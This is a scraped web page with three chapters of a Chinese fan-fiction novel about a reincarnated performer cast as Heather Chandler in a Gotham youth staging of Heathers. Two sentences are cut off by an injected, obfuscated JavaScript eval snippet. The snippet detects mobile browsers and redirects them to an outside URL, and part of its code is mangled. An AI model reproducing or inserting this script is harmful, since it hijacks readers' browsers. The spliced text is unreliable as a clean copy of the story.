《百老汇永不停演!【综英美+美娱】》 3. 内部争论 按照大部分人的想法,卡里亚应该是第一个确定入选的人。 她都唱这么好了,还在犹豫什么,总不能这次来试镜的全都是麦当娜或者芭芭拉·史翠珊级别的人吧? 沃克斯豪尔剧院顶楼,会议室的门虚掩一条缝,玻璃门后的空气几乎凝固。 “这么优秀的孩子,不选她简直是暴殄天物。”编舞利贝嘉第一个表态,语气斩钉截铁。 “她太优秀了,问题就在这儿。”声乐老师摊开手,一脸无奈,“这是给所有学生准备的项目,不是送明星出道的个人秀。” 两派人马各执一词,言语间火药味渐浓。 卡里亚·穆瑟尔,毫无疑问是这次试镜中最出彩的学生。 那段独唱不仅征服了现场所有人,连后期导出试镜录像的摄像师都忍不住重播了三遍。 可就是因为“太出色”,反而不好让她直接加入。 “我们得考虑到整体平衡。”声乐老师皱着眉头,“如果她加入,其他学生怎么办?” 音乐剧不像电影或电视剧,没有剪辑,没有镜头补救。所有演员都必须同时站上舞台,站在灯光下,从头到脚接受观众们的审视。 如果大家都是七十分,彼此之间的差距不大,加上高中生自带青春靓丽属性,观众们也对学生天然抱有宽容之心,一群七十分的演员,说不定最后能呈现出八十分的效果。 但,如果一百分的卡里亚·穆瑟尔加入了呢? 她的存在就像聚光灯,会让周围人都显得暗淡无光。 “成年演员都未必受得了,更别提那批高中生了。”声乐老师无奈,“来试镜的可都是各个学校的佼佼者,哪一个不是带着点傲气来的?” 利贝高一时卡壳,声乐老师乘胜追击:“万一处理不好,我们这部校园霸凌题材的音乐剧,搞不好在后台就能再演一遍。” 导演抱着双臂沉默地听着,目光扫过电脑上卡里亚的信息表,瞥了一眼手旁的资料夹,眉头越皱越深。 “还有一点。”声乐老师忽然压低声音,“你们有没有觉得奇怪——一个这么有天赋的学生,为什么从来没人听说过她?为什么她的履历表上显示她只当过替补?” 没人回应,但大家的心里都随之浮现起同样的疑问。 在这个把百老汇当成地标的国家,全国有将近26000所学校设立音乐剧项目,涵盖小学到高中的各个年级。 在美国,音乐剧教育的广泛程度,堪比莎士比亚在英国学校的地位。 现在百老汇最顶尖的那一批演员,譬如《报童》的男主角杰瑞米·乔丹、《歌剧魅影》的女主角席艾拉·博格斯等等,都是以学校音乐剧作为起点,开启职业生涯的。 高中生音乐剧,绝不仅仅是学生们的自娱自乐,说是美国音乐剧行业的人才储备中心也不为过。 想要从百老汇手下捡漏的地方剧团也会时刻关注本地高中生音乐剧的动向,这次沃克斯豪尔剧院的项目成员里,不乏有几位是全勤打卡新泽西州高中音乐剧的热心人士。 但,就是在这样的前提下,没有一个人见过卡里亚·穆瑟尔。 “难道她有什么心理疾病?”有人低声嘟囔。 哥谭人嘛,有一两个小毛病似乎也很正常。 利贝嘉一看风向不对,再这样下去搞不好卡里亚连精神分裂都有了,赶紧出声打住:“这样说也太那什么了,要不干脆直接问问她学校的老师,看看是怎么回事?” 夹在中间犹豫不定的导演也被吵烦了,立刻点头,从后台信息里调出卡里亚所在音乐剧社团老师的电话。 现在是上班时间,电话一次打通。 导演自报家门,随后委婉地说明来意。 当然,他没说是怀疑卡里亚有什么缺陷,只是暗示她是不是在家庭方面有什么困难。 电话那头的老师一听来意,反倒笑了:“放心好了,穆瑟尔她完全是个身心健康的高中生,要我说,她最大的‘问题’,就是实力太强了。” 导演点点头。 看来结构失衡的问题,不止困扰着他们。 社团老师继续说道:“穆瑟尔小姐没演主角,不过我另外安排她去做舞蹈队长,同时她还是一名超级替补(swing)。” 利贝嘉眼神一亮:“超级替补?” “上次我们学校排的《律政俏佳人》,她记住了全部八个群舞加上两个主要配角的部分,还能教其他人跳各自的部分。” 利贝嘉和导演隔空对视一眼,无声地用口型做了个“wow”。 和亚洲音乐剧笼统分为“a卡”“b卡”不同,欧美音乐剧的替补是有着好几种具体分类的,超级替补(swing)便是其中之一。 音乐剧是现场演出,为了防止各种突发事故,是必须要有替补在后台随时待命的。 哪怕只是小小的群舞,也必须保证有人顶上——这不仅是为了演出效果,衣食父母的观众老爷花了票钱,当然要给人家看完整的群舞戏份,怎么好随随便便删减呢? 但要是给每位群舞都找个替补,似乎也不太现实,毕竟替补和正规演员一样,是要每晚都来剧院的,哪怕不上台,工资也是照发不误。 每人至少三千美元的周薪,要是每个群舞都有一个替补,实在是一笔很大的支出。 因此,“超级替补”这个工种就诞生了:他们一人就能学会好几个群舞的戏份,万一当晚有哪个群舞没法登台,或者群舞去替补了其他角色的戏份,他们就要能随时顶上。 演一个群舞,或许还不算什么。 但能演八个群舞,这就是很了不起的本事了! 群舞可不是广播体操,所有人都动作一致。 卡里亚在《律政俏佳人》里的水平,相当于是她一人就能记住一整个kpop女团的所有舞步和唱段——还是至少十首歌的内容。 资料里那一句“担任替补”,在导演脑海里不断放大,忽然有了全然不同的重量。 社团老师顿了顿:“我知道这样安排有点屈才,但让她当超级替补,至少能避免压垮整场剧的平衡。” “她从没抱怨过吗?”导演试探。 “从来没有。她接受安排,也总是愿意帮忙。”老师声音柔和,“穆瑟尔小姐说,超级替补也是支撑演出进行的重要部分,她很高兴能担任这份工作……但我觉得她该被看到一次,这也是我推荐她来参加你们试镜的原因。” 电话挂断后,会议室里再次安静下来。 “卡里亚·穆瑟尔。”导演把这个名字在心中默念一遍。 他缓缓合上资料夹,喉结动了动,看向大家:“我有个提议——” * 距离试镜过了十天又二十个小时后,卡里亚终于收到了回音。 接到消息时,她正在体育馆和斯蒂芬妮组队打排球,对面刚刚发球,球还没落地,场边传来熟悉的喊声。 “穆瑟尔——快来社团,有急事!” 音乐剧社团的老师气喘吁吁冲进来,站在场地边上朝着她挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966421|177743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手。 知道内情的几个女学生一起发出“哦~”的声音。 “快去吧,大明星!” 来不及换衣服,卡里亚胡乱用毛巾擦掉汗珠,穿着运动服前往音乐剧社团的活动室。 她以为自己已经做好心理准备,可推开门的那一刻,心跳还是漏了一拍。 面试时见过的导演和利贝嘉小姐,就坐在房间中央等她。 空气里似乎有种不寻常的气息。 卡里亚呼吸莫名变得急促。 “穆瑟尔小姐。”导演起身,面色严肃,“很遗憾,我认为你不太适合饰演维罗妮卡·索伊。” 那一瞬间,卡里亚几乎感觉自己听见脑袋里的某根弦被扯断的声音。 她站在原地,双手下意识攥紧裤缝。 一阵凉意从脑袋传递到脚板,她不可控制地颤抖起来。 是因为她只能在逼仄的地下室练习,从来没接受过专家指导吗? 她还自以为不错来着,其实维多利亚时代的古董已经跟不上时代了吧? “真是的,你说话说全了,瞧你把人家小姑娘吓的。”利贝嘉嗔怪一句,然后满面笑容地转向卡里亚,“放心吧,要是你没入选,我们也不用专门找你一趟了。” 卡里亚原本沉到谷底的心一下子跳到了嗓子眼。 导演轻咳一声:“穆瑟尔小姐,你愿意出演希德·钱德勒吗?” ——希德·钱德勒,剧中最具存在感的反派。 剧里,她是统治整个高中的暴君,美丽,恶毒,放肆。 她是第一个被女主角和男主角杀死的人,并且此后以梦魇的形象缠绕在女主角维罗妮卡身边,带着讽刺的笑意,不屑地在人群上方俯视着荒诞的一幕幕场景。 “我们希望你来演她。”导演试图组织语言,“当然,这对你来说可能是一种降级——” “不,我愿意!”卡里亚打断他,眼睛亮得惊人。 在前世,她演的男装丽人歌舞秀,就像早期歌舞片和迪O尼那样,都是热热闹闹,繁华绚丽。 她很能调动起观众的情绪,让台下的人们忘记烦恼,跟着她的舞步和歌声情绪高昂。 但更加复杂的情绪,冷漠、愤怒、嫉妒,她没机会演。 在维多利亚时代,这是严肃戏剧的领域,不允许供人取乐的男装丽人踏足。 甚至于她重生后参演的《律政俏佳人》,也是一部合家欢的喜剧作品。 希德·钱德勒,这可是她前世今生得到的第一个反派角色! 能在舞台上扮演一个反派,体验一下恶毒校花的人生,多么令人心动的挑战! “我非常愿意!只要能演音乐剧,我就很高兴了,更何况是这么有挑战性的角色!” 卡里亚声音急切,透着一种年轻人特有的真诚。 导演一愣。 不知道是不是错觉,他刚才有一瞬间从卡里亚眼里看出了太多东西——被压抑的梦想,未曾实现的愿景,还有藏在背后的,永远不会被满足的对舞台的渴望。 他原本担心她会因为角色降级而不高兴,和利贝嘉一路上商量说辞,结果一句也用不上了。 千言万语,最后化成简短的“那我们就这么说定了”。 就这样,卡里亚·穆瑟尔获得了韦恩艺术基金会《希德姐妹帮》项目中的关键角色——希德·钱德勒。 时隔17年,抱撼而终的女演员终于又一次得到了机会。 属于她的舞台,正在向她亮起灯光。 4. 排练第一天 整个排练周期将持续三个月,最终的演出定在五月的母亲节周末,连演三场,而且会正式面向公众售票。 虽然是学生项目,但规格已经算半职业了,跟那种一周排几个小时、到点就走的普通高中生音乐剧完全不是一个级别。 沃克斯豪尔剧院和大多数剧院一样,周日晚到周一休馆,因此排练定在周二到周六。 新泽西州的高中下午两点钟放学,参与排练的学生们放学后统一由剧院安排接送,练到晚上六点,再一个个把学生们送到家门口。 排练的第一天,卡里亚被安排上了一辆黑色的雷克萨斯。 车上除了她,还有一个来自哥谭高地高中舞台美术组的女生。 前排的司机大叔啧啧称奇:“这次的项目真的搞挺大啊,连布景服装都要学生自己动手做——喂,金发妞,我得先送另一个去舞美工厂,你得晚一点了!” 舞台布景里的大道具当然不可能在剧院制作,必须要去专门的工厂,还要用到木工和电焊一类的设备。 卡里亚往前探探身子:“或许我可以自己坐地铁——” “那可不行,万一你在路上出什么事儿,我也得辞职滚蛋了。”司机哈哈大笑,“这里可是哥谭,虽然真出事儿了谁也跑不掉,但有个成年人在总比没有好!” 卡利亚只能无奈坐回去,任由司机安排路线。 她抵达剧院时,下午的太阳已经越过楼宇。 剧院停车场快被占满了,私家车,商务面包车,还有几辆贴着其他城市学校logo的大巴车。 不用说,都是来参加排练的学生。 离集合时间还有一会儿。卡里亚朝司机大叔道过谢,开门下车。 装着必备品的单肩包沉甸甸的,勒得肩膀微微发紧。 这里就是她未来几个月的主场了! 她从停车场的侧门进入,跨入剧院的大厅。 扑面而来的,是金钱的气味。 前厅铺着米白色的大理石砖,干净光滑,能折射出穹顶的天使壁画。 水晶吊灯从天花板垂落而下,耀眼的光芒四散洒落在周围的音乐家石膏像上,后面的墙壁挂有数幅沃克斯豪尔剧院的历史照片,但最醒目的还是布鲁斯·韦恩和现任剧院经理的合影。 一切都是上流的,一切都是最好的。 当然,最赞的当属一进门就能看到的女盥洗室。 分配给女盥洗室的空间几乎是男用的两倍,不仅尽可能避免了幕间休息时女盥洗室门口大排长龙的问题,还贴心地在门口给女士们准备了歇脚的真皮长椅。 谢谢你,布鲁斯·韦恩!虽然不知道为什么每次你去剧院的时候都容易吸引到蝙蝠侠和超级罪犯,但女卫生间这件功绩就像赎罪券一样抵消了你的罪孽! 卡里亚在心中连连惊叹,稍微逛一圈后按照通知里给的指引,绕过前台,进入后方的员工通道。 走廊墙壁洁白,柔和的灯光投下。 路过三楼时,卡里亚甚至看到了“理疗室”“淋浴间”的牌子。 这种级别的配置,欧洲一些有名的歌剧院都未必能比得上。 卡里亚莫名想到前世她四处巡演时待过的那些杂耍剧院。 脏,乱,差,一些小剧院还要求她和动物演员共用一个休息室,有次一条印度艺人的蛇钻进她的袖子里,她吓得没换好衣服就跑出去,结果被一群下流的后台工人吹了口哨,嬉笑着问她晚上寂不寂寞。 相较之下,这里干净整洁,剧组的老师也都很友善,简直就是天堂——虽然不知道为什么,这里的摄像头似乎太多了一点,几乎走几步就能看到一个。 但总而言之,能重生真是一件幸福的事! 三个月后,自己就能在这样了不起的剧院里演出了! 谢谢你,戏剧之神,谢谢你,韦恩阔佬! 卡里亚在心里哼着歌,来到四楼的更衣室换上练功服,随后进入隔壁的排练室。 排练室里约莫有二十几个学生,人基本都到齐了。 没有认识的人在,卡里亚找了个角落自己站着,看看有没有人比较好搭话。 几分钟后,剧组的成年人们陆续进来,其中有卡里亚认识的导演和编舞利贝嘉。后者一眼就看见她,冲她眨眨眼。 “肃静,肃静!”导演示意小声交谈的学生们安静下来。 “我知道,你们有不少人已经互相认识了,但我还是希望你们能做一下自我介绍。”导演朝旁边的人点点头,“先从我们大人开始好了:旁边这位漂亮的女士是你们应该在试镜时见过,副导演兼编舞,弗兰·利贝嘉小姐;这位是剧组经理,你们有什么后勤需要,过敏原或者疾病之类的,他会帮你们解决,你们可以称呼.....” 每介绍一人,学生们都会礼貌地给予掌声。 导演介绍了一圈:“记不住也不要紧,之后我们会慢慢熟悉的。下面轮到你们了,从左到右,按照位置上前来!” 导演拍了拍手。 “杰克·道森,来自大西洋城中央高中,饰演男主角JD。”一个有着蓬松头发的男孩上前一步,咧嘴笑道,“先说一句,我能入选可不是因为我的名字缩写和男主角一样!” “好的JD,没问题JD!” 道森朝着他站在他后面的,应该是同学的男生挥手“去去去”,引发一阵笑声。 接下来是女主角,一个有点害羞的亚裔女孩,面容干净清丽:“我是莎莉·康,是来自中国的留学生,现在在纽瓦克高中。我会尽力演好主角的!” 很标准的发音,卡里亚看到声乐老师露出满意的神色。 然后轮到一个金发明艳的女生:“西奥妮·阿尔德里奇,来自泽西市艺术高中。” 很明显,这里有不少人认识她,卡里亚看到有不少人露出笑意,甚至有人欢呼了两声。 西奥妮向大家挥了挥手:“很高兴这里有这么多老朋友,不过我这次演的是希德·麦克纳马拉,同时是希德·钱德勒的替补(understudy),小角色,群舞的时候见!” 希德·麦克纳马拉,是剧里希德·钱德勒的小跟班。 《希德姐妹帮》里位于学校食物链顶端的meangirl小团体,三位成员都叫希德:卡里亚的希德·钱德勒,西奥妮的希德·麦克纳马拉,还有一个希德·杜克。 这三个名字观众肯定没法一下子记住,因此在服装设计时给了她们每人一个代表色:红色的希德·钱德勒,黄色的希德·麦克纳马拉,绿色的希德·杜克。 红绿灯的个人代表色——当然,在哥谭市也可以称为是罗宾配色——这操作有点像日本魔法少女动画,不过就角色设计来说是成功的。 官方海报和CD的封面,全都是印着这红黄绿三姐妹,角色视觉效果甚至比男女主角还深入人心。 当然啦,占据c位的还是卡里亚的红希德。 卡里亚一边在脑子里复习希德们的戏份,一边留神听前面人的自我介绍。 终于轮到自己时,她大步上前,转身面向人群。 “卡里亚·穆瑟尔,来自哥谭城市高中,饰演希德·钱德勒。” 她看见有几人露出迷茫的表情。 “很高兴能站在这里,和大家一起参加这个项目!” 有点冷场,之前流动在人群里那种心照不宣的“这个女生/男生,我曾见过的”氛围没了,但卡里亚还是得到了礼貌性的掌声。 回到原位时,她的眼角余光捕捉到某人一闪而过的翻白眼。 ……是错觉吗? 卡里亚之后没剩几个人,导演在介绍环节结束后又说了几句场面话,宣布了接下来的安排。 这段时间大家需要先把剧本读一遍,等熟悉整个流程后先把几场群戏重头戏排了,单人曲和小曲目之后再练。 “这一周里,我们先要把剧本完整地过几遍,确保每个人都读熟了,脑海里有一个印象——别露出这种表情,我知道你们很多人都看过官摄,也听过CD,歌词什么的都背下来了,对吧?” 《希德姐妹帮》在西区上演时进行了官方摄像版本的录制,极大地方便了高中生们观摩学习,卡里亚自己就借了同社团同学的rokuchannel账号,看了好几遍。 导演拍了拍身后桌子上一沓厚厚的剧本:“但我要提醒——我们这个版本是青少年版本。”说到这儿,他扫视全场,“虽然我们这部剧里有杀人、霸凌、爆炸犯,但不能有一点脏话!” 几个学生忍不住扑哧一笑。 “从现在开始,把你们脑子里自动播放的CD关掉,不要让我听到‘f词’、‘s词’、‘b词’,明白了?” “明白了——” 每人去房间角落拿了一把椅子、一个架子。 助理走下来,按角色发放剧本和乐谱。 ** 故事设置在1980年代的维斯特堡高中。 学校里的小透明维罗妮卡,因为有伪造签名的才能,被学校里的绝对统治者“希德姐妹帮”吸纳进小团体,摇身一变成了新晋人气王。 而在希德姐妹帮的戏弄对象变成自己的好友玛莎时,维罗妮卡开始质疑自己当初的选择,气质冷酷忧郁的转学生JD也毫不留情地戳破她犹豫不决的小心思。 终于,在一次派对上,维罗妮卡终于在醉酒后鼓起勇气,公开反抗红希德的霸凌行为,吐了她一身,被红希德下达了死刑的宣言。 宿醉后的维罗妮卡想着在社会性死亡前疯狂一把,跑到之前就看对眼的JD家里...... 然后把他给睡了。 次日,清醒的维罗妮卡想要尽力弥补这件事,她跑到红希德家里,屈辱地下跪道歉。 而陪她一起去的JD,想到的弥补方式就简单多了。 他给希德的解酒饮料里加了清洁剂,直接把红希德毒死了。 此时,维罗妮卡伪造签名的才能再次派上用场,她给红希德写了一封遗书,伪造成自杀,把无脑恶毒的红希德塑造成一个被大家误解的女孩。 大家被红希德美丽皮囊下的深刻思想深深感动了,没有人去追查真相,所有人都在歌颂红希德的死。 只有知道真相的维罗妮卡彷徨无措,她为自己的罪行感到愧疚,也就是从这天起,红希德的鬼魂开始缠绕着维罗妮卡,让她不得安宁。 在这之后,JD又杀死两个造她huang谣的橄榄球队员,伪造成是同性恋殉情,局面愈发不可收拾。 漠视人命的JD,红希德死后绿希德上位让学校变得更糟,大人们美化歌颂青少年的勇敢自杀行为,真正自杀未遂的好友玛莎被嘲笑是丑人赶潮流失败......维罗妮卡对身边的一切都失望透顶。 这份痛苦在JD劝说她第三次杀人时达到了顶峰。 意识到JD的本质是疯狂的自毁者后,她提出了分手,而这成了压死骆驼的最后一根稻草。 彻底没了安全阀的JD伪造一份学生们的“请愿书”,打算在全校集会上引爆炸弹,伪装成集体自杀,来让社会重视青少年的处境。 在一番追逐和挣扎后,维罗妮卡及时赶到学校与JD对峙。 争夺手//枪的过程中,JD不慎打中自己,重伤不治的他独自抱着炸弹,在远离维罗妮卡的地方魂归西天。 维罗妮卡在经历这一切后,选择放下所有的仇恨和斗争,邀请坐在轮椅上的好友玛莎回家“做些普通孩子该做的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966422|177743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”,向未来迈出新的一步。 红希德和另外两个被害者的鬼魂,也终于从她的脑海中离开。 ** 虽然《希德姐妹帮》和《贱女孩》在人物设置和剧情发展方面有诸多相似之处,但并非一部甜甜的校园小妞电影,是真真正正带点邪//典意思的cult片。 卡里亚的“红希德”,希德·钱德勒,是全片第三重要的角色。 用剧里维罗妮卡的台词一句话介绍,那必定是: “希德·钱德勒,她是个史诗级的碧池(mythicbitch)。” 美丽,恶毒,又是本剧黑色幽默气质的集大成者,演她时绝对不能仅仅当作一个无脑金发女来演。 她是维罗妮卡痛苦的开始,是第一个受害者,并且在死后她的阴影依然笼罩住维斯特堡高中,在高处漠视所有人。 希德·钱德勒因为这份复杂性,在爱好者中向来人气不错。 自然而然的,这个全剧第三重要的角色也被不少人觊觎着。 休息时间,卡里亚看到绿希德和黄希德正并肩坐在一起。刚才的自我介绍里提到过,这两人都是同一所艺术高中的。 她抱起椅子上前:“我能坐这吗?” 接下来她们就是希德姐妹帮了,她自然是希望能尽快熟络起来。 绿希德的演员看了她一眼,没有说话,只是下意识皱了皱眉头。 倒是西奥妮往旁边挪了挪:“坐我旁边好了。” 她脸上仍然带着笑,但眼神中是不加掩饰的打量:“不过呢,很不好意思哦babe,我没记住你的名字,你能再说一遍吗?” 卡里亚眨巴眨巴眼睛。 她的姓名合计就五个音节,应该不难记啊? “卡里亚·穆瑟尔。CariaMussel。”怕对方记不住,她特地专门把两个词拼写一遍,“这下子就不会忘了!” 发现两边完全不同频的西奥妮:“......我以前没听说过你呢。不过我倒是记得你的学校,《律政俏佳人》里没有你吗?” “唔,那部剧里我是替补。” 西奥妮用鼻孔哼了一声:“哇哦,当过一次主角替补,就让你有勇气挑战希德·钱德勒了?” 卡里亚不好意思挠挠头:“不不不,不是主角的替补,我也就是替了群舞加两个女配角的超级替补啦。” 西奥妮:不是,你是在装X还是真的听不懂啊?! 她努力克制住眼角的抽搐:“......虽然我没当过群舞,但我猜测想,如果一个人真有实力,老师通常不会让她待在候补位上的,你说是不是?” 卡里亚:“唔,你这么说也有道理。” 的确,她的演技不够,不能演出一个“水平和其他人差不多的高中生”。 她做不到配合其他人,甚至还容易造成结构失衡,这绝对算不上是好演员。 西奥妮觉得自己终于扳回一城:“你知道就好。我嘛,比你强一点点,拿过几个小奖。” 旁边的女生立刻捧哏:“得了吧,你管新泽西州爵士舞冠军叫小奖项?” “高中生比赛而已,不算什么。”西奥妮故作谦虚,“除此之外,我还在戏剧夏令营里演过不少音乐剧角色——” 她顿了顿,歪歪头,露出一副意味深长的表情。 “比如,希德·钱德勒。” 西奥妮觉得,自己这句话等同于摊牌。 她就是对卡里亚·穆瑟尔抱有敌意! 她原本是奔着“希德·钱德勒”这个角色来的,甚至一度被内定。 长得漂亮,水平不错,又有经验,几乎可以说稳操胜券了。 直到卡里亚出现在导演他们的面前,把她踹到低一级的黄希德的位置上。 输给一个没有经验、没有拿过奖的无名小卒,西奥妮咽不下这口气! 但卡里亚没能领会到这层深层含义,反而眼睛一亮。 “太好了,那有你做我的替补真是很让人安心了!” 这里是哥谭,走在路上随时可能遇到什么人质劫持或者交通事故,有一个靠谱的替补在后台支撑,真是令人欣慰。 她握住西奥妮的手,真诚道:“有你在后台做我的替补,我就放心多了。但我要提醒你,这里是哥谭,像你这样人生地不熟的外市女孩最容易被盯上,你在哥谭市的时候千万要小心,我们两个希德·钱德勒可不能同时出意外,那样剧就没法演下去了!” 西奥妮终于确信了,眼前这人就是个笑面虎。 威胁,这是赤裸裸的人身威胁! 她如鲠在喉,白皙的脸蛋涨成红色,旁边的同伴怕她当场气背过去,赶紧借口补妆,拉着她去洗手间。 两人刚离开,旁边忽然爆发出一阵狂笑。 是饰演维罗妮卡的莎莉·康。 莎莉一边擦眼泪一边笑着拍她肩膀:“真有你的,你都快把西奥妮气个半死了,简直是白眼翻给瞎子看,哈哈哈哈哈!” “为什么她会生气?”卡里亚很迷茫,自己没说错什么啊。 莎莉哭笑不得:“她在挑衅你,你没听出来?” 卡里亚仔细回想刚才的对话。 卡里亚:“这种就算是挑衅了?” 莎莉:“当然是啊!” 卡里亚:“挑衅人这种事,起码得是找黑O党拿/枪/顶着脑袋,不许我上台演出,这种程度才算吧。” 不开玩笑,一百多年前的演艺行业乱象丛生,她在的剧团真的被竞争对手这么搞过,相比之下,只是动动嘴皮子的西奥妮简直是文明社会的化身。 莎莉呆愣片刻。 “......你们哥谭人,还真够狂野的哈。” 5. 磨合期 在接下来的十几天里,卡里亚对这群高中生的水平有了大致把握。 面试那会儿她还不太自信,担心自己的水平跟不上时代——但现在看来,上辈子的老本还是足够用的,这个事实让她宽慰不少。 当然啦,这群新泽西州顶尖水平的高中生也很不错,哪怕是背景板的演员,也都贡献了出色的表演。 开场曲的重头戏,是女主角维罗妮卡的脑内小剧场,为了展现出“现实暂停,角色思考”的效果,除了女主角之外的人必须在她说词的时候立刻定格。 这也就意味着,刚才还在“校内斗殴”的角色,需要保持后仰单手撑地,或者单脚平板支撑的地狱难度姿势,静止数十秒保持不动。 虽然这些学生们离职业演员还有段距离,但这份吃苦耐劳的劲头,称得上一句“未来可期”。 与此同时,卡里亚也在努力精进演技。 她的红希德是个恶毒、尖锐,带着冷酷魅力的角色,和她现实中的性格大相径庭。 她真的能演好女魔头吗? 好闺闺斯蒂芬妮对此颇为担忧。 午餐后回教室的路上,她搭着卡里亚的肩上,长吁短叹:“唉,你们导演到底怎么想的,怎么会把这种角色给你?” 卡里亚耸耸肩:“这就是演艺界嘛,有角色就不错了,而且能演恶毒校花这种现实里和我无缘的角色,还是蛮新奇的体验。” 她忽然一拍手:“对了斯蒂芬,你快看看我的meangirl脸练得怎么样!” 卡里亚这几天狂补艾玛·罗伯茨的《尖叫女王》,对着镜子练表情练得不亦乐乎,自认为学到了半分精髓。 她半眯起眼,轻拧眉头,眉眼间带着似有似无的怒意,嘴唇微微上翘,似笑非笑,仿佛下一秒恶毒的话语就要脱口而出。 她甩甩落在肩上的金发:“我看起来怎么样?” 斯蒂芬妮端详片刻:“看起来是有meangirl的味道了……但我怕你真对戏的时候撑不住。我都没见你跟人吵过架。” 卡里亚笑嘻嘻地收起表情:“我也没当过律师、没读过法学院,还不是演了《律政俏佳人》?” 斯蒂芬妮来了兴趣:“是吗,那你打算怎么演好希德·钱德勒呢?” “虽然我没有打过别人,但我打过篮球。”卡里亚叙述这段时间的演技心得,“那种场上互相较劲的感觉,观察对手的每个破绽,又要防止自己被钻了空子——和校园女王争权夺势挺像的,不是吗?” 斯蒂芬妮点点头:“将类似的体验和情绪融入到角色中演出,情绪共通,确实有这种演法。” 卡里亚接着说道:“还有就是,虽然没有希德·钱德勒那么夸张,但我确实见过不少meangirl,姿势和行为举止也能模仿到几分。” 当然,这些方法说起来简单,实施起来却很难——怎么融入,怎么抓取meangirl的精华,对演技和经验的要求相当严苛。 但卡里亚有前世的剧团经验,又在家里苦练了好些时日,因此顺利找到了门道。 斯蒂芬妮追问:“这样起码有‘形’了。但有‘形’就够了吗?会不会看起来太假了?” “在音乐剧里,够了。”卡里亚回答得很直接,“音乐剧的重点是歌曲和歌词,太多演技上的细节反而会分散观众注意力,演得太‘真’会喧宾夺主。” 这就好比是电影里在演员飙台词的时候bgm放大型交响乐,想象一下就知道效果有多差了。 斯蒂芬妮若有所思:“所以说……假也是合理的?” “音乐剧本来就是假的啊,哪家好人会说两句话就开始唱歌啊!但只要你觉得自己很正常,和你同台的人也觉得你很正常,就能在观众前立住人设和逻辑。” 卡里亚笑着解释:“和电影不同,舞台剧是真人演给真人看的,大脑对站在自己面前的人天然有信任感——比如,如果我在新闻节目里说我是布鲁斯·韦恩的女儿,那大家第一反应都觉得是疯子炒作。但如果我在你面前信誓旦旦地说我是布鲁斯·韦恩的女儿,你也会先楞一下,大脑转一会才能反应过来吧?” 斯蒂芬妮听懂了,表示学到:“原来如此,和同台人配合演技也很重要......” 卡里亚见她若有所思的样子,两眼放光:“对呀对呀,音乐剧很有意思的对吧!斯蒂芬你终于对演戏有兴趣了吗!” 斯蒂芬妮长得漂亮,姿态端正,体格也很好,妥妥的好苗子,但就是不肯当演员,实在是演艺界一大憾事。 斯蒂芬妮赶紧摇头:“我是在想别的事情啦!而且我家里的情况你又不是不知道,社团活动我没法按时出席的。” 想起斯蒂芬妮家里情况特殊、需要经常请假,卡里亚“哦”了一声,眼中掠过一丝失落。 不过和斯蒂芬妮的这一番畅谈,倒是帮了卡里亚大忙。 下午的排练时,她的思路比往常更加清晰。 今天是她的“红希德”在众人面前初次亮相。 排练厅的地板上贴着胶带和线条,勾勒出舞台的基本轮廓和道具位置。 演员们站在各自的点位上,准备开始今天的重点部分:希德姐妹帮与女主角维罗妮卡初次交锋的对白。 导演给出手势,房间角落的钢伴开始弹奏简单重复的和弦,用作背景音。 三个希德翘课,被老师堵在卫生间门口。 眼看她们就要吃留校察看的处分,千钧一发之际,一直在舞台另一侧窥探的“维罗妮卡”冲上前,递给老师自己伪造的准假条,证明这三个希德没有违反校规。 被打发走的老师离场,希德姐妹帮脱险。 卡里亚的角色,小团体的大姐头“红希德”大步上前,从维罗妮卡手里抽走那张假条,一只手插在腰间,另一只手捏着那张救了她一命的小纸片。 明明她是欠了人情的那一方,却理所当然地盛气凌人,就好像维罗妮卡能帮上忙是她这个小透明的荣幸。 “这真是件能以假乱真的赝品。”她的语气算不上锋利,却像一枚细针,轻易挑动起维罗妮卡身上的紧张情绪。 一句不咸不淡的夸奖,就是红希德能传达的全部谢意了。 她抱起双臂,上下打量:“你是谁?” 和她面对面的“维罗妮卡”下意识吞了吞口水——演“红希德”时的卡里亚太恐怖了,简直和平时的她判若两人!要不要这么快进入角色啊! 还好她背熟了剧本,这才不至于懵到忘词。 她依靠本能飞速切换状态,重新沉浸入戏中。 “我、我是维罗妮卡·索伊,我想和你们做个交易。” 维罗妮卡结结巴巴道:“我想午餐时和你们坐在一起——只要看到连你们都能接纳我,我就不会被其他人找麻烦了!” 希德姐妹帮的三人对视一眼。 以权压权,用校园女王蜂来赶跑自己身边那些嗡嗡叫的苍蝇,这就是这个土包子能想出来的最好的办法了? 三人齐齐爆发出尖利的笑声,刺痛旁观者们的耳膜。 带有恶意的情绪在台上蔓延开来,连带群舞们都下意识心一紧。 哪怕他们已经看过好几遍录像,此时也感受到了扑面而来的冷意,忍不住和维罗妮卡共情,有种命门被人拿捏住的窒息感。 “维罗妮卡”的演技同样被带动起来。 她更紧张,说话都有点语无伦次:“除了请假条,我还可以伪造成绩单什么的!我很会模仿笔记!” 苦于减肥的老二绿希德来了兴趣:“那医生处方呢?” 红希德翻了个白眼,无声地传达出她对小跟班抢话感到不满。 下一秒,她提高音量、字字有力地喝道:“闭嘴,希德!” 绿希德马上低眉顺眼:“对不起,希德!” 